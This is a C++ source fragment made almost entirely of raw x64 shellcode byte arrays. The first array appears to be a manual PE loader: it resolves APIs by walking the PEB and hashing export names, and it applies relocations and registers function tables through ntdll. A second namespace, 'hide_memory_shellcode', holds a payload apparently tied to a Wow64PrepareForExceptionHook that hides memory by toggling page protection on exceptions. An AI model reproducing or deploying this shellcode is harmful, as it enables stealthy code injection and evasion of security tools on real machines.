0xfb,0xa0,0x90,0x71,0x13,0x74,0x0a,0x45,0x85,0xc9,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x41,0x8b,0x4a,0x24,0x48,0x03,0xcf,0x42,0x0f,0xb7,0x14,0x49,0x41,0x8b,0x4a,0x1c,0x48,0x03,0xcf,0x8b,0x04,0x91,0x48,0x8d,0x0d,0xcc,0x07,0x00,0x00,0x48,0x03,0xc7,0xff,0xd0,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0xe8,0x48,0x8b,0x49,0x18,0x48,0x8b,0x49,0x10,0x48,0x8b,0x79,0x30,0x48,0x63,0x57,0x3c,0x44,
0x8b,0x94,0x3a,0x88,0x00,0x00,0x00,0x4c,0x03,0xd7,0x4c,0x3b,0xd7,0x74,0x5f,0x45,0x8b,0x42,0x18,0x45,0x85,0xc0,0x74,0x56,0x45,0x8b,0x72,0x20,0x45,0x03,0xc5,0xbb,0xc4,0xa8,0xa7,0x8f,0x4b,0x8d,0x04,0x86,0x44,0x8b,0x0c,0x38,0x4c,0x03,0xcf,0x45,0x8a,0x19,0x4d,0x03,0xcc,0x45,0x84,0xdb,0x74,0x2f,0x41,0x0f,0xbe,0xc3,0x41,0x80,0xeb,0x41,0x8b,0xd0,0x83,0xca,0x20,0x41,0x80,0xfb,0x19,0x45,0x8a,0x19,0x0f,0x47,
0xd0,0x4d,0x03,0xcc,0x33,0xd3,0x69,0xda,0x93,0x01,0x00,0x01,0x45,0x84,0xdb,0x75,0xd9,0x81,0xfb,0x68,0xb3,0x8f,0xc8,0x74,0x0a,0x45,0x85,0xc0,0x75,0xae,0x48,0x8b,0x09,0xeb,0x84,0x41,0x8b,0x4a,0x24,0x48,0x03,0xcf,0x42,0x0f,0xb7,0x14,0x41,0x41,0x8b,0x4a,0x1c,0x48,0x03,0xcf,0x8b,0x04,0x91,0x48,0x8d,0x15,0x2e,0x07,0x00,0x00,0x48,0x03,0xc7,0x48,0x8b,0xcd,0xff,0xd0,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,
0x00,0x4c,0x8b,0xf8,0x48,0x8b,0x49,0x18,0x48,0x8b,0x49,0x10,0x4c,0x8b,0x41,0x30,0x49,0x63,0x50,0x3c,0x46,0x8b,0x94,0x02,0x88,0x00,0x00,0x00,0x4d,0x03,0xd0,0x4d,0x3b,0xd0,0x74,0x5d,0x41,0x8b,0x7a,0x18,0x85,0xff,0x74,0x55,0x41,0x8b,0x6a,0x20,0x41,0x03,0xfd,0xbb,0x7c,0xdf,0xa9,0x8a,0x49,0x8d,0x04,0xb8,0x44,0x8b,0x0c,0x28,0x4d,0x03,0xc8,0x45,0x8a,0x19,0x4d,0x03,0xcc,0x45,0x84,0xdb,0x74,0x2f,0x41,0x0f,
0xbe,0xc3,0x41,0x80,0xeb,0x41,0x8b,0xd0,0x83,0xca,0x20,0x41,0x80,0xfb,0x19,0x45,0x8a,0x19,0x0f,0x47,0xd0,0x4d,0x03,0xcc,0x33,0xd3,0x69,0xda,0x93,0x01,0x00,0x01,0x45,0x84,0xdb,0x75,0xd9,0x81,0xfb,0x43,0xe3,0xcc,0x8a,0x74,0x09,0x85,0xff,0x75,0xaf,0x48,0x8b,0x09,0xeb,0x86,0x41,0x8b,0x52,0x24,0x48,0x8d,0x0d,0x79,0x06,0x00,0x00,0x49,0x03,0xd0,0x0f,0xb7,0x3c,0x7a,0x41,0x8b,0x52,0x1c,0x49,0x03,0xd0,0x8b,
0x04,0xba,0x49,0x03,0xc0,0xff,0xd0,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,0x00,0x4c,0x8b,0xf0,0x48,0x8b,0x49,0x18,0x48,0x8b,0x49,0x10,0x48,0x8b,0x79,0x30,0x48,0x63,0x57,0x3c,0x44,0x8b,0x84,0x3a,0x88,0x00,0x00,0x00,0x4c,0x03,0xc7,0x4c,0x3b,0xc7,0x74,0x5f,0x45,0x8b,0x48,0x18,0x45,0x85,0xc9,0x74,0x56,0x41,0x8b,0x68,0x20,0x45,0x03,0xcd,0xbb,0x0f,0xe1,0xa9,0x8b,0x4a,0x8d,0x04,0x8f,0x44,0x8b,0x14,0x28,
0x4c,0x03,0xd7,0x45,0x8a,0x1a,0x4d,0x03,0xd4,0x45,0x84,0xdb,0x74,0x2f,0x41,0x0f,0xbe,0xc3,0x41,0x80,0xeb,0x41,0x8b,0xd0,0x83,0xca,0x20,0x41,0x80,0xfb,0x19,0x45,0x8a,0x1a,0x0f,0x47,0xd0,0x4d,0x03,0xd4,0x33,0xd3,0x69,0xda,0x93,0x01,0x00,0x01,0x45,0x84,0xdb,0x75,0xd9,0x81,0xfb,0x3b,0x62,0x38,0x4a,0x74,0x0a,0x45,0x85,0xc9,0x75,0xae,0x48,0x8b,0x09,0xeb,0x84,0x41,0x8b,0x48,0x24,0x48,0x03,0xcf,0x42,0x0f,
0xb7,0x14,0x49,0x41,0x8b,0x48,0x1c,0x48,0x03,0xcf,0x8b,0x04,0x91,0x48,0x8d,0x15,0xde,0x05,0x00,0x00,0x48,0x03,0xc7,0x49,0x8b,0xce,0xff,0xd0,0x48,0x85,0xc0,0x0f,0x84,0xd6,0x00,0x00,0x00,0x4d,0x85,0xff,0x0f,0x84,0xcd,0x00,0x00,0x00,0x48,0x8b,0x0d,0xb3,0xfc,0xff,0xff,0x4c,0x8d,0x4c,0x24,0x50,0x48,0x8b,0x1d,0xa7,0xfc,0xff,0xff,0x41,0xb8,0x03,0x00,0x00,0x00,0x48,0x63,0x51,0x3c,0x48,0x8b,0x0d,0x96,0xfc,
0xff,0xff,0x48,0x03,0xda,0x83,0x64,0x24,0x50,0x00,0x41,0x8a,0xd4,0xff,0xd0,0x8b,0x4c,0x24,0x50,0x48,0x8b,0xf8,0x4c,0x8b,0x05,0x7b,0xfc,0xff,0xff,0x48,0xb8,0xab,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0x48,0xf7,0xe1,0x48,0x8b,0xcf,0x48,0xc1,0xea,0x03,0x41,0xff,0xd7,0x84,0xc0,0x74,0x73,0x8b,0x05,0x52,0xfc,0xff,0xff,0xa8,0x02,0x74,0x0f,0x48,0x8b,0x15,0x4f,0xfc,0xff,0xff,0x48,0x8b,0xcb,0xe8,0x6e,0x05,0x00,
0x00,0x8b,0x05,0x39,0xfc,0xff,0xff,0xa8,0x04,0x74,0x0c,0x48,0x8b,0x0d,0x36,0xfc,0xff,0xff,0xe8,0xd9,0x07,0x00,0x00,0x48,0x8b,0x3d,0x2a,0xfc,0xff,0xff,0x41,0x8b,0xd4,0x8b,0x43,0x28,0x33,0xc9,0x4c,0x8b,0x05,0x1b,0xfc,0xff,0xff,0x48,0x03,0xf8,0xff,0xd7,0x85,0xc0,0x74,0x2f,0x8b,0x05,0x04,0xfc,0xff,0xff,0x41,0x84,0xc4,0x74,0x0e,0x8b,0x4b,0x54,0x33,0xc0,0x48,0x8b,0x3d,0xfb,0xfb,0xff,0xff,0xf3,0xaa,0xc7,
0x05,0xeb,0xfb,0xff,0xff,0x80,0x1e,0x37,0xc0,0xeb,0x0a,0xc7,0x05,0xdf,0xfb,0xff,0xff,0x7e,0x1e,0x37,0xc0,0x48,0x8b,0x5c,0x24,0x58,0x48,0x8b,0x6c,0x24,0x60,0x48,0x8b,0x74,0x24,0x68,0x48,0x83,0xc4,0x20,0x41,0x5f,0x41,0x5e,0x41,0x5d,0x41,0x5c,0x5f,0xc3,0x48,0x89,0x54,0x24,0x10,0x53,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x83,0xec,0x38,0x48,0x63,0x41,0x3c,0x48,0x8b,0xf9,0x81,0x3c,
0x08,0x50,0x45,0x00,0x00,0x0f,0x85,0x8a,0x03,0x00,0x00,0x8b,0x9c,0x08,0x90,0x00,0x00,0x00,0x48,0x03,0xd9,0xe9,0x5f,0x03,0x00,0x00,0x8b,0x4b,0x10,0x48,0x03,0xc7,0x44,0x8b,0x63,0x0c,0x48,0x03,0xcf,0x48,0x89,0x84,0x24,0x98,0x00,0x00,0x00,0x4c,0x03,0xe7,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x89,0x4c,0x24,0x20,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x40,0x30,0x49,0x63,0x48,0x3c,
0x46,0x8b,0x9c,0x01,0x88,0x00,0x00,0x00,0x4d,0x03,0xd8,0x4d,0x3b,0xd8,0x74,0x5f,0x45,0x8b,0x53,0x18,0x45,0x85,0xd2,0x74,0x56,0x45,0x8b,0x7b,0x20,0x41,0xff,0xca,0xbd,0xad,0xcd,0xf7,0xeb,0x4b,0x8d,0x0c,0x97,0x46,0x8b,0x0c,0x01,0x4d,0x03,0xc8,0x41,0x8a,0x31,0x49,0xff,0xc1,0x40,0x84,0xf6,0x74,0x2f,0x40,0x0f,0xbe,0xce,0x40,0x80,0xee,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xfe,0x19,0x41,0x8a,0x31,0x0f,
0x47,0xd1,0x49,0xff,0xc1,0x33,0xd5,0x69,0xea,0x93,0x01,0x00,0x01,0x40,0x84,0xf6,0x75,0xd9,0x81,0xfd,0x44,0xdb,0x7c,0xf2,0x74,0x0a,0x45,0x85,0xd2,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x41,0x8b,0x4b,0x24,0x49,0x03,0xc8,0x42,0x0f,0xb7,0x14,0x51,0x41,0x8b,0x4b,0x1c,0x49,0x03,0xc8,0x8b,0x04,0x91,0x49,0x8b,0xcc,0x49,0x03,0xc0,0xff,0xd0,0x48,0x89,0x84,0x24,0x80,0x00,0x00,0x00,0x48,0x85,0xc0,0x0f,0x85,0xbd,
0x00,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x48,0x30,0x49,0x63,0x49,0x3c,0x46,0x8b,0x9c,0x09,0x88,0x00,0x00,0x00,0x4d,0x03,0xd9,0x4d,0x3b,0xd9,0x74,0x5f,0x45,0x8b,0x53,0x18,0x45,0x85,0xd2,0x74,0x56,0x45,0x8b,0x7b,0x20,0x41,0xff,0xca,0xbd,0x8d,0xce,0x03,0x6b,0x4b,0x8d,0x0c,0x91,0x46,0x8b,0x04,0x39,0x4d,0x03,0xc1,0x41,0x8a,0x30,0x49,
0xff,0xc0,0x40,0x84,0xf6,0x74,0x2f,0x40,0x0f,0xbe,0xce,0x40,0x80,0xee,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xfe,0x19,0x41,0x8a,0x30,0x0f,0x47,0xd1,0x49,0xff,0xc0,0x33,0xd5,0x69,0xea,0x93,0x01,0x00,0x01,0x40,0x84,0xf6,0x75,0xd9,0x81,0xfd,0x07,0x90,0xc0,0xf9,0x74,0x0a,0x45,0x85,0xd2,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x41,0x8b,0x53,0x24,0x49,0x8b,0xcc,0x49,0x03,0xd1,0x46,0x0f,0xb7,0x04,0x52,0x41,
0x8b,0x53,0x1c,0x49,0x03,0xd1,0x42,0x8b,0x04,0x82,0x49,0x03,0xc1,0xff,0xd0,0x48,0x89,0x84,0x24,0x80,0x00,0x00,0x00,0x48,0x85,0xc0,0x0f,0x84,0xe5,0x01,0x00,0x00,0x48,0x8b,0x84,0x24,0x98,0x00,0x00,0x00,0x45,0x33,0xed,0x48,0x8b,0x00,0x48,0x85,0xc0,0x0f,0x84,0xae,0x01,0x00,0x00,0x4c,0x21,0xac,0x24,0x90,0x00,0x00,0x00,0x48,0x85,0xc0,0x0f,0x89,0x9e,0x00,0x00,0x00,0x44,0x0f,0xb7,0xf8,0x4d,0x85,0xff,0x0f,
0x84,0xb0,0x01,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x48,0x30,0x49,0x63,0x49,0x3c,0x46,0x8b,0x9c,0x09,0x88,0x00,0x00,0x00,0x4d,0x03,0xd9,0x4d,0x3b,0xd9,0x74,0x63,0x45,0x8b,0x53,0x18,0x45,0x85,0xd2,0x74,0x5a,0x45,0x8b,0x63,0x20,0x41,0xff,0xca,0xbd,0x7c,0xed,0x7f,0x44,0x4b,0x8d,0x0c,0x91,0x46,0x8b,0x04,0x21,0x4d,0x03,0xc1,0x41,0x8a,
0x30,0x49,0xff,0xc0,0x40,0x84,0xf6,0x74,0x33,0x40,0x0f,0xbe,0xce,0x40,0x80,0xee,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xfe,0x19,0x41,0x8a,0x30,0x0f,0x47,0xd1,0x49,0xff,0xc0,0x33,0xd5,0x69,0xea,0x93,0x01,0x00,0x01,0x40,0x84,0xf6,0x75,0xd9,0x81,0xfd,0xb0,0x0e,0x0a,0x5f,0x0f,0x84,0xa4,0x00,0x00,0x00,0x45,0x85,0xd2,0x75,0xaa,0x48,0x8b,0x00,0xeb,0x80,0x4c,0x8d,0x7f,0x02,0x4c,0x03,0xf8,0x0f,0x84,0x12,
0x01,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x48,0x30,0x49,0x63,0x49,0x3c,0x46,0x8b,0x9c,0x09,0x88,0x00,0x00,0x00,0x4d,0x03,0xd9,0x4d,0x3b,0xd9,0x74,0x5f,0x45,0x8b,0x53,0x18,0x45,0x85,0xd2,0x74,0x56,0x45,0x8b,0x63,0x20,0x41,0xff,0xca,0xbd,0x78,0x90,0x7e,0x94,0x4b,0x8d,0x0c,0x91,0x46,0x8b,0x04,0x21,0x4d,0x03,0xc1,0x41,0x8a,0x30,0x49,
0xff,0xc0,0x40,0x84,0xf6,0x74,0x2f,0x40,0x0f,0xbe,0xce,0x40,0x80,0xee,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xfe,0x19,0x41,0x8a,0x30,0x0f,0x47,0xd1,0x49,0xff,0xc0,0x33,0xd5,0x69,0xea,0x93,0x01,0x00,0x01,0x40,0x84,0xf6,0x75,0xd9,0x81,0xfd,0xf4,0x28,0x0a,0xc6,0x74,0x0a,0x45,0x85,0xd2,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x41,0x8b,0x4b,0x24,0x49,0x8b,0xd7,0x49,0x03,0xc9,0x46,0x0f,0xb7,0x04,0x51,0x41,
0x8b,0x4b,0x1c,0x49,0x03,0xc9,0x42,0x8b,0x04,0x81,0x48,0x8b,0x8c,0x24,0x80,0x00,0x00,0x00,0x49,0x03,0xc1,0xff,0xd0,0x48,0x85,0xc0,0x74,0x59,0x48,0x8b,0x8c,0x24,0x90,0x00,0x00,0x00,0x41,0xff,0xc5,0x48,0x8b,0x54,0x24,0x20,0x48,0x89,0x04,0x11,0x4a,0x8d,0x0c,0xed,0x00,0x00,0x00,0x00,0x48,0x8b,0x84,0x24,0x98,0x00,0x00,0x00,0x48,0x89,0x8c,0x24,0x90,0x00,0x00,0x00,0x48,0x8b,0x04,0x01,0x48,0x85,0xc0,0x0f,
0x85,0x5d,0xfe,0xff,0xff,0x48,0x83,0xc3,0x14,0x8b,0x03,0x85,0xc0,0x0f,0x85,0x97,0xfc,0xff,0xff,0x48,0x8b,0x94,0x24,0x88,0x00,0x00,0x00,0x48,0x8b,0xcf,0xe8,0x15,0x00,0x00,0x00,0xeb,0x02,0x33,0xc0,0x48,0x83,0xc4,0x38,0x41,0x5f,0x41,0x5e,0x41,0x5d,0x41,0x5c,0x5f,0x5e,0x5d,0x5b,0xc3,0x48,0x89,0x5c,0x24,0x08,0x48,0x89,0x74,0x24,0x10,0x48,0x89,0x7c,0x24,0x18,0x4c,0x63,0x41,0x3c,0x48,0x8b,0xda,0x4c,0x03,
0xc1,0x4c,0x8b,0xd9,0x41,0x81,0x38,0x50,0x45,0x00,0x00,0x74,0x07,0x33,0xc0,0xe9,0xa6,0x00,0x00,0x00,0x41,0x8b,0x80,0xb0,0x00,0x00,0x00,0x85,0xc0,0x0f,0x84,0x8e,0x00,0x00,0x00,0x41,0x83,0xb8,0xb4,0x00,0x00,0x00,0x00,0x0f,0x86,0x80,0x00,0x00,0x00,0x4c,0x8d,0x0c,0x01,0x48,0x8b,0xf3,0x49,0x2b,0x70,0x30,0x41,0x8b,0x09,0x45,0x8b,0x51,0x04,0x41,0x03,0xca,0x74,0x69,0x41,0x8b,0xc2,0x33,0xd2,0x48,0x83,0xe8,
0x08,0x48,0xd1,0xe8,0x48,0x63,0xf8,0x85,0xc0,0x7e,0x44,0x45,0x0f,0xb7,0x54,0x51,0x08,0xb9,0x00,0xf0,0x00,0x00,0x41,0x0f,0xb7,0xc2,0x66,0x23,0xc1,0xb9,0x00,0x30,0x00,0x00,0x66,0x3b,0xc1,0x74,0x0a,0xb9,0x00,0xa0,0x00,0x00,0x66,0x3b,0xc1,0x75,0x12,0x41,0x8b,0x09,0x41,0x81,0xe2,0xff,0x0f,0x00,0x00,0x4b,0x8d,0x04,0x13,0x48,0x01,0x34,0x01,0x48,0xff,0xc2,0x48,0x3b,0xd7,0x7c,0xc0,0x45,0x8b,0x51,0x04,0x41,
0x8b,0xca,0x4c,0x03,0xc9,0x41,0x8b,0x11,0x45,0x8b,0x51,0x04,0x41,0x03,0xd2,0x75,0x97,0x49,0x89,0x58,0x30,0xb8,0x01,0x00,0x00,0x00,0x48,0x8b,0x5c,0x24,0x08,0x48,0x8b,0x74,0x24,0x10,0x48,0x8b,0x7c,0x24,0x18,0xc3,0x6e,0x00,0x74,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x52,0x74,0x6c,0x41,0x64,0x64,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x54,0x61,0x62,0x6c,
0x65,0x00,0x52,0x74,0x6c,0x49,0x6d,0x61,0x67,0x65,0x44,0x69,0x72,0x65,0x63,0x74,0x6f,0x72,0x79,0x45,0x6e,0x74,0x72,0x79,0x54,0x6f,0x44,0x61,0x74,0x61,0x00,0x48,0x89,0x54,0x24,0x10,0x53,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x83,0xec,0x28,0x83,0x64,0x24,0x70,0x00,0x48,0x8b,0xe9,0x48,0x8b,0xfa,0xba,0x0b,0x01,0x00,0x00,0x66,0x39,0x55,0x18,0x8d,0x4a,0xfd,0x8d,0x42,0xed,0x0f,0x45,
0xc1,0x48,0x8d,0x0c,0x28,0x0f,0xb7,0x45,0x06,0x48,0x89,0x8c,0x24,0x88,0x00,0x00,0x00,0x48,0x8b,0xd9,0x48,0x8d,0x14,0x80,0x48,0x8d,0x04,0xd1,0x48,0x3b,0xc8,0x0f,0x83,0xba,0x01,0x00,0x00,0x8b,0x4b,0x24,0x33,0xd2,0xe8,0xc6,0x01,0x00,0x00,0x44,0x8b,0x6b,0x0c,0x44,0x8b,0xe0,0x8b,0x43,0x08,0x4c,0x03,0xef,0x48,0x89,0x84,0x24,0x80,0x00,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,
0x18,0x48,0x8b,0x40,0x10,0x41,0x83,0xfc,0x01,0x0f,0x84,0xb0,0x00,0x00,0x00,0x4c,0x8b,0x50,0x30,0x49,0x63,0x4a,0x3c,0x46,0x8b,0x9c,0x11,0x88,0x00,0x00,0x00,0x4d,0x03,0xda,0x4d,0x3b,0xda,0x74,0x5f,0x45,0x8b,0x4b,0x18,0x45,0x85,0xc9,0x74,0x56,0x45,0x8b,0x7b,0x20,0x41,0xff,0xc9,0xbe,0x90,0xc9,0x3a,0x2b,0x4b,0x8d,0x0c,0x8f,0x46,0x8b,0x04,0x11,0x4d,0x03,0xc2,0x41,0x8a,0x38,0x49,0xff,0xc0,0x40,0x84,0xff,
0x74,0x2f,0x40,0x0f,0xbe,0xcf,0x40,0x80,0xef,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xff,0x19,0x41,0x8a,0x38,0x0f,0x47,0xd1,0x49,0xff,0xc0,0x33,0xd6,0x69,0xf2,0x93,0x01,0x00,0x01,0x40,0x84,0xff,0x75,0xd9,0x81,0xfe,0x32,0xab,0x6a,0xda,0x74,0x0a,0x45,0x85,0xc9,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x45,0x8b,0x43,0x24,0x49,0x8b,0xcd,0x48,0x8b,0x94,0x24,0x80,0x00,0x00,0x00,0x4d,0x03,0xc2,0x47,0x0f,0xb7,
0x0c,0x48,0x45,0x8b,0x43,0x1c,0x4d,0x03,0xc2,0x43,0x8b,0x04,0x88,0x4c,0x8d,0x4c,0x24,0x70,0x49,0x03,0xc2,0x45,0x8b,0xc4,0xff,0xd0,0xe9,0xaa,0x00,0x00,0x00,0x4c,0x8b,0x40,0x30,0x49,0x63,0x48,0x3c,0x46,0x8b,0x9c,0x01,0x88,0x00,0x00,0x00,0x4d,0x03,0xd8,0x4d,0x3b,0xd8,0x74,0x5f,0x45,0x8b,0x53,0x18,0x45,0x85,0xd2,0x74,0x56,0x45,0x8b,0x7b,0x20,0x41,0xff,0xca,0xbe,0xf7,0x56,0x30,0x3c,0x4b,0x8d,0x0c,0x97,
0x46,0x8b,0x0c,0x01,0x4d,0x03,0xc8,0x41,0x8a,0x39,0x49,0xff,0xc1,0x40,0x84,0xff,0x74,0x2f,0x40,0x0f,0xbe,0xcf,0x40,0x80,0xef,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xff,0x19,0x41,0x8a,0x39,0x0f,0x47,0xd1,0x49,0xff,0xc1,0x33,0xd6,0x69,0xf2,0x93,0x01,0x00,0x01,0x40,0x84,0xff,0x75,0xd9,0x81,0xfe,0xa8,0x1f,0xeb,0x18,0x74,0x0a,0x45,0x85,0xd2,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x41,0x8b,0x4b,0x24,0x49,
0x03,0xc8,0x42,0x0f,0xb7,0x14,0x51,0x41,0x8b,0x4b,0x1c,0x49,0x03,0xc8,0x44,0x8b,0x0c,0x91,0x49,0x8b,0xcd,0x48,0x8b,0x94,0x24,0x80,0x00,0x00,0x00,0x4d,0x03,0xc8,0x41,0xb8,0x00,0x40,0x00,0x00,0x41,0xff,0xd1,0x0f,0xb7,0x4d,0x06,0x48,0x83,0xc3,0x28,0x48,0x8b,0x84,0x24,0x88,0x00,0x00,0x00,0x48,0x8b,0x7c,0x24,0x78,0x48,0x8d,0x14,0x89,0x48,0x8d,0x0c,0xd0,0x48,0x3b,0xd9,0x0f,0x82,0x46,0xfe,0xff,0xff,0xb8,
0x01,0x00,0x00,0x00,0x48,0x83,0xc4,0x28,0x41,0x5f,0x41,0x5e,0x41,0x5d,0x41,0x5c,0x5f,0x5e,0x5d,0x5b,0xc3,0x0f,0xba,0xe1,0x19,0x73,0x06,0xb8,0x01,0x00,0x00,0x00,0xc3,0x0f,0xba,0xe1,0x1d,0x73,0x2b,0x85,0xc9,0x79,0x0b,0xf6,0xda,0x1b,0xc0,0x83,0xe0,0xc4,0x83,0xc0,0x40,0xc3,0x0f,0xba,0xe1,0x1e,0x73,0x0b,0xf6,0xda,0x1b,0xc0,0x83,0xe0,0xe2,0x83,0xc0,0x20,0xc3,0xf6,0xda,0x1b,0xc0,0x83,0xe0,0xf2,0x83,0xc0,
0x10,0xc3,0x85,0xc9,0x79,0x06,0xb8,0x04,0x00,0x00,0x00,0xc3,0x81,0xe1,0x00,0x00,0x00,0x40,0xb8,0x01,0x00,0x00,0x00,0xf7,0xd9,0x1b,0xc9,0xf7,0xd9,0x03,0xc1,0xc3,0x48,0x89,0x5c,0x24,0x08,0x57,0x48,0x83,0xec,0x20,0x48,0x8b,0x05,0x47,0xf4,0xff,0xff,0x48,0x8b,0xf9,0x48,0x63,0x50,0x3c,0x48,0x8b,0x05,0x39,0xf4,0xff,0xff,0x48,0x8b,0x84,0x10,0xd0,0x00,0x00,0x00,0x85,0xc0,0x74,0x27,0x8b,0xd0,0x48,0x8b,0x5c,
0x0a,0x18,0x48,0x85,0xdb,0x74,0x1b,0xeb,0x11,0x45,0x33,0xc0,0x48,0x8b,0xcf,0x41,0x8d,0x50,0x01,0x41,0xff,0xd1,0x48,0x8d,0x5b,0x08,0x4c,0x8b,0x0b,0x4d,0x85,0xc9,0x75,0xe7,0x48,0x8b,0x5c,0x24,0x30,0xb8,0x01,0x00,0x00,0x00,0x48,0x83,0xc4,0x20,0x5f,0xc3, };
};
namespace hide_memory_shellcode
{
namespace rva
{
const size_t Wow64PrepareForExceptionHook = 0x0;
const size_t shellcodeAddr = 0x255;
const size_t shellcodeSize = 0x25d;
}
unsigned char payload[] =
{
0x40,0x53,0x48,0x83,0xec,0x30,0x48,0x89,0x4c,0x24,0x20,0x48,0x8b,0xda,0x48,0x8d,0x4c,0x24,0x20,0x48,0x89,0x54,0x24,0x28,0xe8,0x15,0x00,0x00,0x00,0x83,0xf8,0xff,0x75,0x0a,0x33,0xd2,0x48,0x8b,0xcb,0xe8,0x39,0x02,0x00,0x00,0x48,0x83,0xc4,0x30,0x5b,0xc3,0x48,0x89,0x5c,0x24,0x10,0x48,0x89,0x6c,0x24,0x18,0x48,0x89,0x74,0x24,0x20,0x57,0x41,0x56,0x41,0x57,0x48,0x83,0xec,0x20,0x48,0x8b,0x01,0x48,0x8b,0xd9,
0x8b,0x10,0x81,0xfa,0x05,0x00,0x00,0xc0,0x0f,0x85,0x0b,0x01,0x00,0x00,0x48,0x8b,0x41,0x08,0x4c,0x8b,0x80,0xf8,0x00,0x00,0x00,0x48,0x8b,0x05,0xe5,0x01,0x00,0x00,0x4c,0x3b,0xc0,0x0f,0x82,0xc1,0x01,0x00,0x00,0x48,0x8b,0x15,0xdd,0x01,0x00,0x00,0x48,0x8b,0x05,0xce,0x01,0x00,0x00,0x48,0x03,0xd0,0x4c,0x3b,0xc2,0x0f,0x87,0xa7,0x01,0x00,0x00,0x4c,0x8b,0x3d,0xbb,0x01,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,
0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x48,0x30,0x49,0x63,0x49,0x3c,0x46,0x8b,0x94,0x09,0x88,0x00,0x00,0x00,0x4d,0x03,0xd1,0x4d,0x3b,0xd1,0x74,0x5f,0x45,0x8b,0x42,0x18,0x45,0x85,0xc0,0x74,0x56,0x45,0x8b,0x72,0x20,0x41,0xff,0xc8,0xbe,0x28,0x65,0x23,0x57,0x4b,0x8d,0x0c,0x86,0x46,0x8b,0x1c,0x09,0x4d,0x03,0xd9,0x41,0x8a,0x3b,0x49,0xff,0xc3,0x40,0x84,0xff,0x74,0x2f,0x40,0x0f,
0xbe,0xcf,0x40,0x80,0xef,0x41,0x8b,0xd1,0x83,0xca,0x20,0x40,0x80,0xff,0x19,0x41,0x8a,0x3b,0x0f,0x47,0xd1,0x49,0xff,0xc3,0x33,0xd6,0x69,0xf2,0x93,0x01,0x00,0x01,0x40,0x84,0xff,0x75,0xd9,0x81,0xfe,0xfa,0x78,0xf8,0x20,0x74,0x0a,0x45,0x85,0xc0,0x75,0xae,0x48,0x8b,0x00,0xeb,0x84,0x41,0x8b,0x52,0x24,0x49,0x8b,0xcf,0x49,0x03,0xd1,0x46,0x0f,0xb7,0x04,0x42,0x41,0x8b,0x52,0x1c,0x49,0x03,0xd1,0x42,0x8b,0x04,
0x82,0x41,0xb8,0x40,0x00,0x00,0x00,0x48,0x8b,0x15,0x0f,0x01,0x00,0x00,0x49,0x03,0xc1,0x4c,0x8d,0x4c,0x24,0x40,0xff,0xd0,0x48,0x8b,0x43,0x08,0x0f,0xba,0x68,0x44,0x08,0x83,0xc8,0xff,0xe9,0xd3,0x00,0x00,0x00,0x81,0xfa,0x04,0x00,0x00,0x80,0x0f,0x85,0xc5,0x00,0x00,0x00,0x48,0x8b,0x2d,0xd9,0x00,0x00,0x00,0x65,0x48,0x8b,0x04,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x40,0x18,0x48,0x8b,0x40,0x10,0x4c,0x8b,0x40,
0x30,0x49,0x63,0x48,0x3c,0x46,0x8b,0x94,0x01,0x88,0x00,0x00,0x00,0x4d,0x03,0xd0,0x4d,0x3b,0xd0,0x74,0x5a,0x45,0x8b,0x5a,0x18,0x45,0x85,0xdb,0x74,0x51,0x45,0x8b,0x72,0x20,0x41,0xff,0xcb,0xbf,0x8a,0x6f,0x82,0x3a,0x4b,0x8d,0x0c,0x9e,0x46,0x8b,0x0c,0x01,0x4d,0x03,0xc8,0x41,0x8a,0x19,0x49,0xff,0xc1,0x84,0xdb,0x74,0x2b,0x0f,0xbe,0xcb,0x80,0xeb,0x41,0x8b,0xd1,0x83,0xca,0x20,0x80,0xfb,0x19,0x41,0x8a,0x19,
